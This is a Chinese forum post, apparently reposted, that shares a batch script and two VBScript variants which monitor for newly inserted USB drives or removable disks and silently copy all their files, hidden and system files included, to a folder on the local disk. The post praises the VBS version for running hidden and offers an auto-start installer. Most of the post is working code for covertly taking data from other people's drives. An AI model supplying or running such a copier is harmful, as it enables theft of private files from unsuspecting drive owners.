方案一:原来写了有两个版本,一个用了SLEEP,一个用ping,功能都是一样滴,现在我把两个综合了,在,没有SLEEP的情况下照常使用!
其他的情况看说明!希望高手修改加精!
按照惯例,源码是公开的,大家可以修改,但在可能的情况下尽量保持原作者的信息,这不仅是对别人劳动成果的尊重,也是做人的基本道理。。。
copy.cmd- @echo off
- title $$$$*晗*晗*制*造*$$$$
- mode con: cols=14 lines=1
- :again
- cls
- del /Q /f "%temp%\copy.tmp" >nul 2>nul
- for %%i in (c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do @fsutil fsinfo drivetype %%i: >>"%temp%\copy.tmp"
- findstr /i "可移动驱动器" "%temp%\copy.tmp"
- if errorlevel==1 goto end
- if errorlevel==0 goto copy
- :end
- rem 没有检测到可移动磁盘!
- if not exist %temp%\sleep.exe ping 127.0.0.1 -n 20 >nul 2>nul
- %temp%\sleep.exe 20s
- goto again
- :copy
- if exist c:\copy goto goon
- cd\
- cd /d c:
- md copy
- :goon
- for /f "tokens=1" %%i in ('findstr /i "可移动驱动器" "%temp%\copy.tmp"') do (
- xcopy /e /y %%i\*.* c:\copy >nul 2>nul
- )
- rem 已复制,请及时清理文件!
- if not exist %temp%\sleep.exe ping 127.0.0.1 -n 20 >nul 2>nul
- %temp%\sleep.exe 20s
- goto again
复制代码 安装U盘自动复制.cmd复制代码 打包下载:
方案二:其实用VBS可以完成此工作,且隐藏进行(如下例)。这个脚本的好处是,对那些识别为移动硬盘类型的U盘也可以成功复制文件。 - 1. 监视新增所有驱动器,并复制所有新驱动器中的文件到D盘下
- '随时监视插入的U盘或移动硬盘,有则自动复制其中的所有文件到d:\Tmp中
- '把 fso.CopyFile 改成 fso.CopyFolder 则可以复制文件夹
- '注意:包括隐藏和系统属性的文件或文件夹均被复制
- '覆盖true 不覆盖false 不能覆盖具有只读属性的文件和文件夹
- '若出现多个新盘符的话,每个盘中的文件均被复制
-
- Set fso = CreateObject("Scripting.FileSystemObject")
- Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
- Set colEvents = objWMIService.ExecNotificationQuery ("Select * From __InstanceOperationEvent Within 5 Where " _
- & "TargetInstance isa 'Win32_LogicalDisk'")
- Do While True
- Set objEvent = colEvents.NextEvent
- If objEvent.TargetInstance.DriveType = 3 Then
- If objEvent.Path_.Class = "__InstanceCreationEvent" Then
- NewDri = objEvent.TargetInstance.DeviceId
- fso.CopyFile NewDri & "\*","d:\Tmp\",true
- End If
- End If
- Loop
复制代码 2.监视新增驱动器,只复制其中第1个分区中的所有文件到D盘下- Dim NewDri(9)
- Set fso = CreateObject("Scripting.FileSystemObject")
- Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
- Set colEvents = objWMIService.ExecNotificationQuery ("Select * From __InstanceOperationEvent Within 5 Where " _
- & "TargetInstance isa 'Win32_LogicalDisk'")
- Do While True
- Set objEvent = colEvents.NextEvent
- If objEvent.TargetInstance.DriveType = 3 Then
- If objEvent.Path_.Class = "__InstanceCreationEvent" Then
- i=i + 1
- NewDri(i) = objEvent.TargetInstance.DeviceId
- fso.CopyFile NewDri(i) & "\*","d:\Tmp\",true
- End If
- End If
- Loop
复制代码 原文地址:http://www.cn-dos.net/forum/viewthread.php?tid=25190 |